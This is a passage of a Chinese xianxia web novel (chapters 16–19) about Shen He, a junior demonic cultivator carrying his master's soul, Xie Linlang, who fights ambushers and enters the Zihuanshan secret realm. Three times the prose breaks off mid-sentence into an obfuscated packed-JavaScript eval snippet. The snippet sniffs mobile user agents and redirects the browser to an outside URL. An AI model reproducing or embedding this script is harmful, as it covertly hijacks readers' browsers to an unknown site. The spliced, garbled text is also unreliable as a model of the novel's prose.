可是这位夜前辈仿佛失了智，竟无视身上的肉香，直接用尖锐的鸟喙去戳丹炉。 更可怕的是，他戳破了丹炉的外壁，留下了三个非常可怕的窟窿，同时，那尖而长的鸟喙也成功将丹炉里的丹药吞吃殆尽。 ……而洪奎、庞三鲜和沈鹤甚至没看到他们炼制出的成品丹药长什么样。 吃了丹药的夜前辈似乎恢复了清醒，整只鸟都呆滞了。 他脑门本就稀疏的杀马特胎毛在高温丹炉的烘烤下，摇摇晃晃地飘落在丹炉上，继而被高温碳化成灰。 丹房里的三人一鸟全都沉默了，寂静无声。 杀马特的夜前辈，变成了秃头夜前辈。 16.第 16 章 “其实夜前辈挺好的。” 洪奎如此说。 庞三鲜有气无力的反驳：“如果我们三个不是横在这里，您这么说还算有点道理。” 一个较为宽敞的静室内，洪奎、沈鹤和庞三鲜三人并排横着，全都是一副重伤濒死的状态。 不用说，动手的自然是变成秃头的前杀马特夜前辈。 说实话，当时那只小小的鸟儿在瞬息间爆发出的恐怖力量，让沈鹤觉得自己必然会去地府报道。 没想到还能再睁开眼，真是不可思议。 洪奎认真地说：“换成别的宗门前辈，我们已经被扔丹炉里当肥料了。” 沈鹤哭笑不得：“因为我们还活着，所以夜前辈还算手下留情？” “是啊，洪师兄说的没错，伤你们的前辈虽然恼羞成怒，但终究收了一分力道，否则就这炼气期的胖子，实力这么差、承受力不足，肯定会当场死亡。” 一个娇俏柔和的声音在三人耳边响起，随即一阵清新的香气袭来，一个穿着粉色长裙的女子笑吟吟地抱着药罐子来到他们床榻前。 女子是洪奎认识的另一个宗门师姐，名叫乐清屏。 乐师姐的师尊出门历练了，她留在宗门潜修，擅长种植各种魔植，同时精通绘写符文，是宗门着重培养的技术型修士。 “既然是魔修，就要有一个基本常识。” 乐清屏笑眯眯地将药罐对准洪奎的嘴巴。 洪奎重伤，想避也避不开，只能痛苦地被乐清屏强行灌了一肚子气味诡异的药膏。 “我们最大的危机来自于宗门师长，只要能扛过宗门里的三灾五难，出门在外就能海阔天空啦！” 沈鹤看着恨不得呕吐、却被强行压制的洪奎，再看看手中突然冒出第二个罐子、还来到他身侧的粉裙师姐，少年特别希望自己直接晕过去。 “……就、就比如现在的您？” “是呀，既然受伤了，就老实当一回药人吧，这可是我们新研制的快速恢复经脉的新药，正好让你们赶上了。” 修士吸取天地清浊之气，面容形态都不丑，乐清屏作为筑基后期的修士，笑起来特别灵动可爱，尤其唇边那个小小的酒窝，让人有种邻家小妹的亲切感。 但她的动作干脆而豪迈，精准而高效，就这说话的功夫，已经娴熟老练地将那罐子药膏强横地塞进了沈鹤的喉咙里，并施展了一种特别的术法，让沈鹤想吐都吐不出来。 沈鹤翻起白眼，一蹬腿，直接闭气，让自己昏过去了。 昏过去的瞬间，他确信听到了庞三鲜那仿佛杀猪一样的凄惨叫声。 沈鹤在病床上横了三天，像是石头一样坚硬的魔气再一次化为河流，在体内奔腾冲刷，总算恢复了基础行动力。 与此同时，丹房修为最高的、一位化神期的前辈专门来找沈鹤、洪奎和庞三鲜谈话。 原来宗门高层决定将沈鹤他们炼制的妖族零嘴丹药纳入宗门物资储备中，宗门会一次性买断药方，给与沈鹤大批物资、补偿以及更好的功法。 洪奎仿佛早有所料，沈鹤和庞三鲜面面相觑。 原来那只鸟真的是宗门高层大佬啊！！ 沈鹤那个破烂的白骨钟被宗门替换成了一个具备可成长性的黑骨钟，漆黑的骨壳上隐隐流动着银色纹路，一看就是好东西。 同时沈鹤还拥有了大批课时点，可以换取各种想要的物资。 沈鹤当机立断，直接拿课时点去换了宗门最高的灵泉洞府，说要闭关一个月再出来。 由于他是知名的水货筑基修士，那化神前辈同意了沈鹤的请求。 沈鹤忐忑地表示：“林师尊临走前拜托我照顾一只禽妖，我若是去潜修，可能顾不上了，能否委托给洪师兄……？” 既然洪师兄说什么夜前辈手下留情了，那就让洪奎自己消受夜前辈吧！ 化神修士显然不明白个中详情，只以为是普通地照顾妖兽任务，就说没事你去修行吧，我通知洪奎。 沈鹤大喜，他终于有了一段安静的、不被打扰的修行日子了。 又是七天过去，谢琳琅醒来。 听了沈鹤描述之前发生的事后，再结合此前林郁的说法，谢琳琅缓缓道：“看样子寂夜宫高层内有大前辈修行出岔子了，仙门斗争激烈，魔门想必更加你死我活，你最好快点稳固修为并离开寂夜宫，若我所料不差，很快就有别的魔修宗门打过来了。” 沈鹤苦笑道：“都说修行可以跳出三界、逍遥自在，弟子倒是觉得踏上修行路之后，竟没一天安生的。” 谢琳琅平静地说：“修行是在与天争命，仙门修士修的是顺，顺应天时，从而得到天地之力；但魔修修的是一个逆，要逆天改命，与苍天争一丝生机，所以魔气天然会挑动修士的情绪，让其陷入到激烈争斗之中。” “你想突破人类天然寿命禁锢，变成与天地同寿的仙人，还想着老天爷不使绊子，你做什么清秋美梦呢？” 沈鹤沉默了几秒，小心翼翼地问：“师尊，您之前说话很平和的，怎么突然变得有些……” “有些嘴毒？你倒是敏锐，这很正常，我正在将神魂与九转返真丹融为一体，之后你需要找一个魔气充裕的地方，按照我教你的方法设置一个收拢魔气的阵法，再投入九转返真丹，经过一定时间，我就能重塑身体了。” 谢琳琅轻叹，“这期间我的神魂会不可逆地向魔修转变，将真灵之气转化为魔修的真魔吐息，性子可能会有些变化，不过我会尽量控制修正的。” 沈鹤松了口气，如果师尊只是嘴巴不饶人，倒也没什么，可千万别变成寂夜宫内的魔修前辈那副模样，尤其是夜前辈，那真是个噩梦。 由于沈鹤躲在了灵泉洞府内潜修，丹房里掀起的炼制妖族零嘴丹药的风波没有波及到沈鹤身上。 等他出关时，谢琳琅已经彻底做好了重塑真身的全部准备。 这期间沈鹤翻阅从宗门借来的各种书卷，选了大概三个目标。 一个是名叫十茶清海的高原海，据说海上常年有魔气岩浆冲上天际，虽然很危险，甚至还有大妖盘踞于此，但那里的魔气绝对充裕，精度和纯度极高，必然能帮谢琳琅重塑真身。 另一个是近三十年才出现的、每隔三四年就会开启的紫焕山小秘境，那秘境貌似是某个上古时代毁灭的宗门豢养灵兽的灵园，时不时会有低阶修士在里面找到死去的妖兽卵或者残存尸骸材料。 还有一个地方是寂夜宫向南千里之外的海域深处，会不定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15485178|169554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 期冒出一些特别的岛屿，岛上会随机生成天然魔泉，若能收取一枚泉眼，长期浸泡或者食用，对魔修来说都是非常好的事。 沈鹤和谢琳琅商量了一下，最终选择去紫焕山小秘境。 十茶清海虽然很好，可盘踞在那边的大妖最低都是元婴期修为，沈鹤去那是送菜；而海域深处的孕育魔泉的岛屿太随机了，需要看运气，沈鹤和谢琳琅都不觉得自己好运的人，所以还是去紫焕山这种固定会出现的秘境比较保险。 “你顺便帮我兑换一些东西。” 谢琳琅知道沈鹤用丹方换了很多物资和课时点，“我复生后应该修为全无，会立刻引魔气入体进行修炼，怎么说也得变成炼气修士，否则我根本没法离开紫焕山秘境。” 那么修行用的丹药、护身用的法器等等就需要提前准备好了。 沈鹤连连点头：“没问题，以师尊的能力，一定能很快从炼气进阶筑基，要不您先用我在炼气时的东西凑数，我直接帮您兑换筑基用的物资？” 他一个水货都能在短短一个月进入筑基期，更别说重修的师尊了。 谢琳琅似乎笑了一下，他语气温和了许多：“你倒是贴心，也罢，你帮我换一把筑基期用的灵剑，再帮我随便换一个护身的法器就行了。” “咦，师尊不是丹修吗？我还以为要为您准备一个好点的丹炉呢。” 沈鹤想到之前谢琳琅的话，笑嘻嘻地说：“比如林师尊那个极品魔炉？” 谢琳琅悠悠道：“你怎么知道我在那个魔炉上打了标记？” 沈鹤：“……” 谢琳琅大笑，笑声中透着一点得意和怀念。 “我师兄是剑修，后来我又、又常年与剑作伴，我的剑术尽管达不到一剑破法的地步，但对付紫焕山秘境里的低阶修士还是没问题的。” 沈鹤注意到谢琳琅提起了自己的事，有些小开心，看样子玉佩师尊似乎放开了一些，他也更加了解这位师尊了呢。 沈鹤有些热切地问：“那我之后能和师尊学剑吗？我虽然有了翠玉剑，但剑法稀烂。” 炼丹能赚钱，可既然是魔修，那注定逃不开争斗，他总要先有命再说赚钱的事吧？ “你要学的东西太多了，如果专注炼丹，在别的方面有疏漏是很正常的事，不要着急……” 谢琳琅正想告诫沈鹤，修行一事急不得，可话到嘴边又卡住了。 过往的一幕幕浮现在他心头。 修士寿数以百年为单位，他曾经总觉得时光漫漫，还有以后。 可如果现在懈怠了，根本不会有以后。 最终谢琳琅要说的话变成了：“若你真想提升剑法水平，需要用心钻研，会比较累，你能坚持吗？” 沈鹤坚定地说：“能！” 他现在不努力，下次再被揍了怎么办？ 夜前辈好歹会留他一命，出门在外的其他修士可不会手下留情。 “弟子不敢妄言成仙，但既然活着，既然踏上了修行之路，总要挣扎一番，得偿所愿吧？” 谢琳琅听后怔怔的。 是啊，人活一世，总要得偿所愿才好，否则他为什么还活着呢？ “你说的对。”他一字一句道：“我要得偿所愿。” 17.第 17 章 沈鹤出关后，直接去了宗门任务处。 负责发布和核销任务的郑师兄看到沈鹤，立刻表情微妙。 “出关了？你小子最近在宗门掀起了炼制新丹药的风潮，将麻烦都丢给了洪奎，自己倒是躲了个清净。” 沈鹤一脸腼腆：“小子才疏学浅，加入宗门时日太短，这种复杂的事情还是唯有交给洪师兄，才能让大家都满意。” 新丹药涉及到太多方面了，原材料采购、炼制方法和技术改进、宗门定品级并如何分配、如何进行利益划分……修士讲究法财侣地，想要在修行一道有所收获，钱财、也就是宝物、材料和灵石是必不可少的。 寂夜宫是个传承悠久的大宗门，门内各势力盘根错节。 沈鹤跟着爷爷在底层摊贩间摸爬滚打，很有自知之明，一个庞三鲜就能用他爷爷要挟他，更何况宗门里这些不显山不露水的前辈们？ 拿到课时点、得到一些符合修为的奖励就行了，再多就无福消受了。 郑师兄惊讶地瞥了一眼沈鹤，似乎在评估沈鹤，许久后才道：“那就多活些日子吧。” 他问沈鹤，“此来有何事？” 沈鹤：“听闻紫焕山小秘境快要开启了，弟子想去历练一番，我记得进入小秘境需要钥匙，不知道宗门是否有储备？若是有，我能换吗？” 顿了顿，他又用了一个魔修们都能理解的理由，“以及我想再偷偷换一把筑基期的灵剑，毕竟大家都知道林师尊给了我一把剑，我想再换一把以备不时之需，若有其他护身法器，也请让我挑选一番吧。” 郑师兄赞许地点头：“你的确该出门避避风头。” 他拿出一个册子，“紫焕山小秘境是最近几十年才出现的新型秘境，宗门没有储存太多资料，只有这些。” 他点了点册子，其中一行字化为一枚玉简，放在了沈鹤面前。 “至于出入钥匙，你不必多虑，那紫焕山小秘境的钥匙一次可以进入十个人，你去紫焕山附近随便找找，交几块魔石就能蹭进去了。” 郑师兄又拿出另一个册子，“至于灵剑……你想要什么属性的？有什么特殊需求吗？” 沈鹤在心里询问谢琳琅，“师尊，您看？” 谢琳琅早已想清楚了自己的发展路线，他利索地说：“不需要太多内部符文，也不用携带什么特别的术法，但法器的锻造材料必须是你能兑换范围的最高品。” 沈鹤转述了谢琳琅的要求。 郑师兄若有所思：“高品质材料啊……你是打算自己炼制内部符文吗？” 沈鹤结巴着：“是、是的。” “也对，你自己炼制符文和术法，可以防止被敌人知道你的底牌，是个聪明的选择。” 郑师兄自以为了解到了沈鹤的想法，略一回忆，帮沈鹤找到了几把看起来似乎不错法器。 “这一把，空心剑，用幽玄黑莲的莲藕炼制的飞剑，内部全是空隙，没有附着任何法术……用莲藕做飞剑，也不知道炼器那帮混蛋们怎么想的。” “这一个怎么样？九枝榕网，用来抓捕灵兽……咳咳，别这么看我，虽然这网子实际上根本抓不到灵兽，可九枝榕是极品材料，化神修士见到了都会心动……” “那这个呢？竹心玉魄炼制的绣球……我知道很离谱，竹心玉魄明明是那帮真修用来稳固神魂、屏蔽天魔的极品材料，却被打了一层魅惑术法还做成了绣球法器，总之，你的课时点很多，能换到的、上限最高的极品材料就是这几个了……” 郑师兄说完后，看向沈鹤，“你选哪个？” 沈鹤吞吞吐吐了一会，小声说：“我能全都要吗？” 郑师兄目瞪口呆，沈鹤脸颊逐渐涨红了。 他也不想这么贪婪，但师尊这么吩咐了…… “天才啊！你居然发现了倒欠宗门的因果和好处，才能让宗门必须庇护你的潜规则。” “……” 这下轮到沈鹤目瞪口呆了。 谢琳琅淡定地说：“魔修向来两袖清风，他们总是将未来收获许诺出去，以换取现在的存活，习惯就好。” 郑师兄愉快地给沈鹤记下了一笔看了就头晕的债务，然后从库房里拿出三个盒子交给了沈鹤。 “拿去吧。”郑师兄看着沈鹤的眼神格外慈和，“我已经将你兑换了这些东西的消息传出去了，也许你一出门就会被人打劫，明天就会有人拿着赃物来找我私下分赃。” 沈鹤的表情逐渐扭曲。 是哦，郑师兄刚才也说了，这些可是连化神修士也渴望的好材料，但他们并不想用自己的课时点兑换出来。 如果有一个筑基期修士兑换了好东西，还带出了宗门，那岂不是一个移动藏宝库吗？ 郑师兄微笑道：“沈师弟，虽然迟了些，但我还得说，欢迎成为寂夜宫修士。” 沈鹤：“……” 他收起三个盒子，站在宗门任务处大门口，有种风萧萧兮易水寒的悲壮感。 谢琳琅看不得沈鹤这幅天塌了的样子。 裴霁从不气馁，无论何时何地都是一副振奋而坚定的模样。 放弃就不会出现在他们这种人的字典里！ 谢琳琅开口：“你不是想学剑吗？” 沈鹤不明所以：“额，是的？” 谢琳琅淡淡道：“那就出发吧，路上会有很多让你学剑的好机会。” 沈鹤：“……啊？” 很快沈鹤就明白了谢琳琅的意思。 离开寂夜宫的宫门，刚来到围拢在宗门附近的修士小镇，沈鹤就发现有人正隐晦地盯着自己。 沈鹤加快脚步，试图赶紧离开小镇，进入前方的荒林以避开敌人的追踪。 但下一秒，谢琳琅就毫不客气地占据了沈鹤的身体。 原本行动还有些匆忙的少年骤然改变了气质，多了一抹从容和游刃有余的感觉。 “你急什么？就是要在镇子里动手。” 谢琳琅拿出了沈鹤炼化的翠玉剑。 翠玉剑通体翠绿，剑脊是一抹浓郁的翠色，如灵蛇般在剑刃上来回游动。 翠玉剑内部附带了两个辅助术法，一个可以帮助主人加强感知，提高使用者和灵剑的联系，另一个叫穿花拂柳，是一种增幅飞剑术轨迹复杂度的辅助术法。 谢琳琅轻轻弹了一下翠玉剑的剑刃，发出了柔和而清亮的剑鸣声。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490440|169554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他提醒沈鹤：“看好了。” 黑紫色的魔气涌入翠玉剑内部，原本轻灵如林梢间一抹翠的剑刃倏而消失了。 纵然再美丽的金绿翠叶，叶片背面也依旧是暗色的，叶脉经络突起而狰狞，像是光下的影。 下一秒，一道如毒蛇般冰冷的剑刃出现在谢琳琅后心，同时他脚下的地面化为了沼泽。 谢琳琅在脚下术法生效瞬间就足下发力，身体于半空轻盈斗转，抬手为掌，猛地下压，拍在了袭来的剑刃侧面。 咣当！ 也不知道谢琳琅用了什么样的巧劲，竟徒手将剑刃外侧的防护魔气打瘪，那剑刃嘎嘣一声崩出了几道裂纹。 而翠玉剑无声无息地来到了施展沼泽术法的修士背后，以其人之道还治其人之身，轻巧刺向对方后心。 嗡—— 黑色屏障升起，敌人似乎提前施展了防护类法术。 但下一秒，翠玉剑上闪过粗而狰狞的黑紫色纹路，它如一只灵巧的蝴蝶，穿花拂柳，轻而易举冲入了黑色护盾内部，毫不犹豫地穿透了敌人的后脑勺。 而谢琳琅心分二用，一边操纵着翠玉剑解决外围的敌人，一方面拿出了黑色骨钟。 在打偏敌人的剑刃后，他直接拎着骨钟顶部的把手，狠狠地捶向了面前的偷袭者。 咚—— 钟声低沉，钟体厚重，音波攻击和物理打击二合一，直接将眼前的敌人捶成了肉泥。 战斗持续十秒钟不到就结束了。 谢琳琅掐法诀放出骨钟，直接罩住了面前的偷袭者，而翠玉剑也勾着另一个偷袭者的裤腰带，将人捞了回来。 他手一翻，不管是翠玉剑还是骨钟，亦或者是两个偷袭者的尸体，都消失不见了。 眨眼间，激荡的魔气恢复了平静，少年额前的发丝和飞扬的马尾垂了下来，黑色衣袍上干净平稳，没有一丝破损和褶皱。 动与静的变换流畅而圆润，仿佛刚才什么都没发生。 谢琳琅又掐了个法诀，发动了寂夜宫每个弟子都会的夜海生光幻法，消失在了那些窥伺他的视线中。 “好了，一时半会不会有人找你的麻烦了。” 沈鹤被称为水货筑基，却能轻描淡写地垂死两个同境界的魔修，足以威慑那些居心叵测之辈了。 沈鹤咽了口唾液，直到此刻，紧绷的精神才放松下来。 他有些敬畏，又有些兴奋：“没想到师尊斗法能力如此强！” 这位玉佩师尊擅长炼丹，沈鹤还以为随身老爷爷是个不擅长战斗的技术型修士呢。 谢琳琅沉默良久才道：“我其实不擅长斗法，只是我经常和师兄对练，这都是他教我的。” 沈鹤好奇地问：“您的师兄？我能称呼他为师伯吗？” 谢琳琅温和地说：“自然可以。” 沈鹤有些忐忑：“想必师伯也是一位得道大能吧？那师尊复生后，要去找师伯吗？” 师尊恢复后应该不会再跟着他这个小小的筑基修士了，那、那他还能在师尊身边学习吗？ 然而这句话像是戳中了刺痛点，直到沈鹤赶到紫焕山附近，谢琳琅都没有再对他说一个字。 18.第 18 章 紫焕山上空弥漫着层层紫色云雾。 来到紫焕山的地界，远望群山，像是看到了一片紫色华盖覆盖着这片群山之地。 沈鹤来到紫焕山外的小镇，在这里见到了很多行色匆匆、打扮不同的修士。 修士中最显眼的要数仙门正宗弟子。 那些弟子们大多三三两两结伴而行，穿着宗门派发的制服，顾盼间朝气蓬勃。 虽说不上是目中无人，但的确具备一种散修没有的傲慢气质。 沈鹤成为筑基修士的时间不长，还不具备修士气质，他又有意收敛了魔气，看上去就像是普通人一样。 小镇里也有不少普通人，他们并不惧怕修士，甚至还会主动提供各种服务，显然紫焕山小秘境的存在，给这里普通人带来了不少生意。 修士虽然餐风饮露，但能住上房，谁乐意在荒野吹冷风？ 沈鹤不想花冤枉钱，就主动找了个酒楼，打算在酒楼找个兼职：当店小二。 他略施手段，又一口气不换地报了上百道菜名，得到了酒楼掌柜的青睐，换了青衣短打，成功走马上任。 沈鹤当店小二的第一天，看到了之前灌药的乐清屏师姐一副柔弱的样子跟着一个一看就贼眉鼠眼的修士过来吃饭。 乐清屏师姐趁着身侧修士不注意，给了沈鹤一个非常冷厉的警告眼神。 下一秒，她又腼腆羞涩地对着那修士笑。 沈鹤默默缩了缩脖子，上了茶，记了菜名，赶紧退下去了。 结果沈鹤没想到，两天后，乐清屏师姐又带了一个没见过的老爷爷过来吃饭。 她拉着那老头的袖子撒娇，像是孙女对爷爷一样可亲可爱。 而那老头打量乐清屏的目光像是在打量一块上好的材料。 沈鹤倒吸一口冷气，又被乐清屏警告了。 他赶紧和另一个店小二换了工作，他去招呼客人，让另一个店小二去上茶。 紫焕山秘境开启前的十天中，沈鹤一共见过四次乐清屏。 每次她都带不同的人来吃饭，而沈鹤也再没见过与乐清屏吃饭的人，而乐清屏的笑容越发灿烂柔和。 沈鹤大受震撼，忍不住和谢琳琅说起这件事。 “……红颜枯骨，以前游方和尚说的话果然没错。” 谢琳琅这几天全幅精神都在九转返真丹上，只要进入秘境，找到一处安静的、魔气还算充裕之地，他就要复生了，他需要调整残魂状态和心境。 听到沈鹤的感慨，谢琳琅随口说：“你干嘛不与她合作？” 沈鹤怔了怔：“合作？” 谢琳琅提醒道：“难得碰到一个没想骗你的师姐，你不让她教教你怎么规避诈骗吗？” 沈鹤迟疑着：“可师尊你复生在即，让乐师姐跟着似乎不太方便？” 谢琳琅却说：“我复生前不需要你守着，你跟着那丫头反而多一份保障，我可不想复生回来后发现刚收的徒弟被自己的心软害死了。” 沈鹤若有所思：“多谢师尊指点。” 等谢琳琅再醒来，沈鹤已经借着乐清屏的光，找到了拥有秘境钥匙的修士，交了份子钱，加入了一个十人小队。 沈鹤和乐清屏假装路人，沈鹤没有靠近乐清屏，倒是一个劲和队伍里的另一个修士套近乎。 谢琳琅凝神听了一会。 原来这修士姓张，是个散修，实力为筑基初期，擅长御兽，养了一只豹子和一只麻雀。 沈鹤正试图向那修士打听怎么和禽类妖兽相处。 张修士性子内敛，他被沈鹤追着问禽妖相关知识，脸上不自禁流露出了一些尴尬和回避的神情。 “我可以用丹方和道友换禽妖的照顾心得。” 沈鹤非常诚恳，“拜托了，这对我来说真的很重要，我师尊之前拜托我照料一只禽妖，没想到那禽妖非常厌恶我，一翅膀将我打成重伤，我借着探索秘境的借口跑出来，但回去后还得面对那禽妖，若是能从张道友这里得到些秘诀或者照料手法，那就帮我大忙了。” 不远处的乐清屏似乎听到了沈鹤的话语，眼中闪过一抹揶揄的笑意。 张修士听后惊异地打量沈鹤，神色微缓，低声问具体细节。 沈鹤连忙将自己和夜前辈相处的情况大致描述了一遍，当然他模糊了细节和修为，只说禽妖脾气大、嘴巴叼之类的。 “……可能那妖兽应激了，你毕竟不是主人，只是暂时照料的人，也许你可以找一些带着你师尊的东西……” 谢琳琅听了一会就没在意了。 紫焕山秘境即将开启，十个修士都围坐在拥有钥匙的队长身侧，一边聊天一边等待。 在月上中天之际，面前的钥匙放出一片紫色光晕，笼罩了眼前的十个人，下一秒，他们所有人都消失了。 按照沈鹤得知的秘境信息，不管修士是如何进入、和谁一起进入秘境，最终所有人都会被打散。 “……虽然不是很全，但我复制到了秘境的五成地图。” 沈鹤落入秘境后，周围是繁盛的森林，空气中灵气和魔气交杂，像是下一秒就会凝聚成水滴，魔气运行颇为生涩。 “秘境内和秘境外的清浊之气差别好大啊。” 谢琳琅倒是精神一振：“是吗？那说明秘境内存在魔气源，走吧，按照计划先向东搜索。” 按照众多修士对秘境的探索，紫焕山秘境的东边有一大群废弃建筑群，建筑群内时不时会出现一些品质极好的材料和妖兽废卵。 只不过建筑群内部有着各种未损毁的法阵和机关，甚至偶尔还会出现元婴甚至化神修士才能应付的傀儡甲士。 偏紫焕山秘境只能筑基以下的修士进入，所以才会有五成以上的地图是空白的，还需修士慢慢探索。 但沈鹤带着谢琳琅一起进来了，谢琳琅有着化神级别的神识，可以帮沈鹤有效规避可能存在的机关和阵法，尽可能深入到废弃建筑内部。 一般宗门内都有类似丹房的灵火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15494650|169554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 或者聚拢魔气灵力的阵法，只要找到这类设施，将已经神魂合一的、容纳了谢琳琅残魂的九转返真丹放入阵法中，沈鹤的任务就结束了。 “……说起来，那上古宗门叫什么？有探索出来吗？” 随着沈鹤不断向东前行，他们穿过森林、越过河流，期间采摘了一些魔植和灵药，谢琳琅隐隐有种莫名的感觉，就好像最东边有什么东西在呼唤他。 “好像是叫衍灵门。”沈鹤回答，“据说曾是上古时代比较知名的御兽大宗，张道友期待能从衍灵门的遗址里找到一二温养灵兽的药物或者材料。” 谢琳琅冷不丁问：“……你听说过九灵宗吗？” 沈鹤有些莫名其妙：“九灵宗？那是什么宗门？” “你不知道也正常，在你成为修士、不，在你出生前，九灵宗已经毁灭了。” 谢琳琅的声音泛着淡淡的冷意，像是从很远的地方传来。 “传说九灵宗有上古秘方，可以调养驭使妖兽为己用，甚至能从妖兽神魂内抽取血脉传承，或者将妖兽神魂炼化为九灵图腾，是个实力还算不错的中等宗门。” 他的语气有些凝重，“有仙门修士考证，九灵宗的创派人曾在遗迹里得了衍灵门的真传，重立道统，开创了九灵宗……” 沈鹤微微蹙眉：“……师尊为什么突然提起九灵宗？” 谢琳琅沉默了一会才道：“九灵宗就是被寂夜魔君所毁，据说连宗门所在地都被寂夜魔君连根拔起，不留一丝痕迹，在当时仙门中间引起了广泛讨论，也是寂夜魔君被大部分仙门修士厌恶忌惮的原因之一。” 沈鹤嘶了一声，忍不住咽了口唾液。 “紫焕山秘境是三十多年前形成的……” 若是衍灵门的秘境，应该不会最近才出现？ 沈鹤想到突然出现的乐清屏师姐，背后生寒。 “师尊，不知九灵宗何时覆灭？” 谢琳琅算了算时间，心头微沉，语气变冷。 “也是差不多同时期吧。” 在道侣仪式之前，裴霁说九灵宗的朋友帮忙找了一份独特的礼物，他想在仪式上送给谢琳琅。 谢琳琅虽然有些不满于裴霁在仪式前突然离开，可也怀揣着满满的期待之情，看着裴霁的背影消失在宗门大阵前。 但最终，他等来的是虚无。 谢琳琅不止一次懊恼悔恨于自己没有同行。 哪怕裴霁当时说要给他一个惊喜，不让他知道是什么，可如果谢琳琅坚持，也许一切都不会发生。 九灵宗那边说裴霁拿了东西离开了，谢琳琅找了很多朋友帮忙追踪，只能判断出当时裴霁的确离开了九灵宗，在归途中突然消失。 最初谢琳琅坚定认为裴霁只是失踪了，不愿意取消道侣仪式。 裴霁从不失诺，一定会回来的。 可那之后半个月的某天，谢琳琅突然心脏抽痛，口吐鲜血倒地昏迷。 再醒来，他就知道，裴霁死了。 19.第 19 章 修士的记忆都很好。 尽管那是谢琳琅最痛苦、不堪回首的时光，但之后百余年谢琳琅都不曾忘记，甚至还会强迫回忆那些日子发生的点点滴滴。 裴霁失踪后，谢琳琅亲自去了一趟九灵宗。 即便他暗中施展秘法，用自己掌握的最厉害的那只天魔潜入九灵宗的禁地，也一无所获。 他还用了特殊手段，仔仔细细、从内到外侦查了邀请裴霁去九灵宗的修士的神魂和记忆。 那修士姓许，据说是裴霁在一次探险时认识的朋友。 裴霁性子乐观开朗，会交各种各样的朋友。 谢琳琅性格内向，不耐与太多人交流，每次陪着裴霁见朋友，他总是坐在一侧温和微笑。 往日倒也没什么，可在裴霁失踪后，谢琳琅才意识到裴霁帮他挡了太多风雨，而他对裴霁到底交了多少朋友、每个朋友的底细一无所知。 于是谢琳琅强迫自己学着裴霁的样子和同道修士交流，他做不来裴霁那样随便几句话就得到他人的信赖，索性对请他炼丹的人来者不拒。 只要他很有用，总会有人来主动认识他的，不是吗？ 几十年后，寂夜魔君不知为何打上了九灵宗，直接将九灵宗的立派之地彻底毁灭，不留一丝痕迹。 那许修士也在此战中陨落。 如今进入紫焕山小秘境，谢琳琅竟有种隐隐被吸引的感觉。 考虑到衍灵门和九灵宗之间的关系，谢琳琅不自觉紧张起来。 他问沈鹤：“你有什么特殊感吗？” 沈鹤摇头：“没有。” 谢琳琅有些失望，难道沈鹤不是裴霁的转世？ 还谁说沈鹤修为太低？ 算了，不管怎么说，来都来了，那就彻底查清楚吧。 之后的探查还算顺利，因为谢琳琅莫名在意东方的吸引感觉，沈鹤加快了前进速度。 不过谢琳琅作为一个丹师，总是能认出一些好东西，沈鹤不得不停下来采摘，还是耗费了一些时间。 而且品级越好的药材周围总是盘踞着妖兽，沈鹤顺势在谢琳琅的指点下熟悉剑术和战斗节奏，每次在沈鹤乱节奏时，谢琳琅都会直接控场，亲自为沈鹤做示范。 沈鹤也是聪颖之辈，进入秘境五天后，他的战斗变得有模有样，翠玉剑和黑骨钟配合默契，同水平的魔兽精怪已经不是他的对手了。 这期间沈鹤也发现了其他修士的踪迹。 大家都知道秘境东边有上古宗门留下来的遗址，好东西都在遗址内，每个人都想来分一杯羹。 由于秘境持续时间长达一个月，目前进入秘境的修士还没有发生什么争斗——主要是没什么特别值得出手的收获——整体氛围还算平稳。 即便有修士无意间碰到了，双方也只会远远地抬手作揖或者直接转身离开。 沈鹤见到了之前指导他如何与妖兽相处的张修士，见到了持有秘境钥匙的队长，还见到了一身粉裙、笑容柔婉的乐清屏。 但这次乐清屏身边多了一个看起来十二三岁、唇红齿白的孩童。 两人似乎以姐弟相称，关系融洽，看得沈鹤心肝发颤，赶紧转头跑了。 因为谢琳琅看不出那孩童的修为深浅。 “理论上进入紫焕山秘境的修士都在筑基之下，那孩童看似筑基后期，但神魂最少是元婴层级，考虑到他的修为很可能压缩了，那么神识受影响缩水……” 谢琳琅得出结论，“那最少是个化神修士。” 和陨落之前的他持平。 谢琳琅难得升起几分好奇，“那是乐清屏的师尊吗？” 沈鹤一脸灰败：“我听洪师兄提过，乐师姐的师尊是一位外貌为老媪的前辈。” 修士的样貌大多年轻秀美，但也有例外。 修士的每个境界都有寿岁上限，比如金丹期修士可以活百五十岁左右，元婴修士能活三四百岁。 若有元婴修士在寿岁末期才突破到化神，那样貌可能会保持在衰老形态。 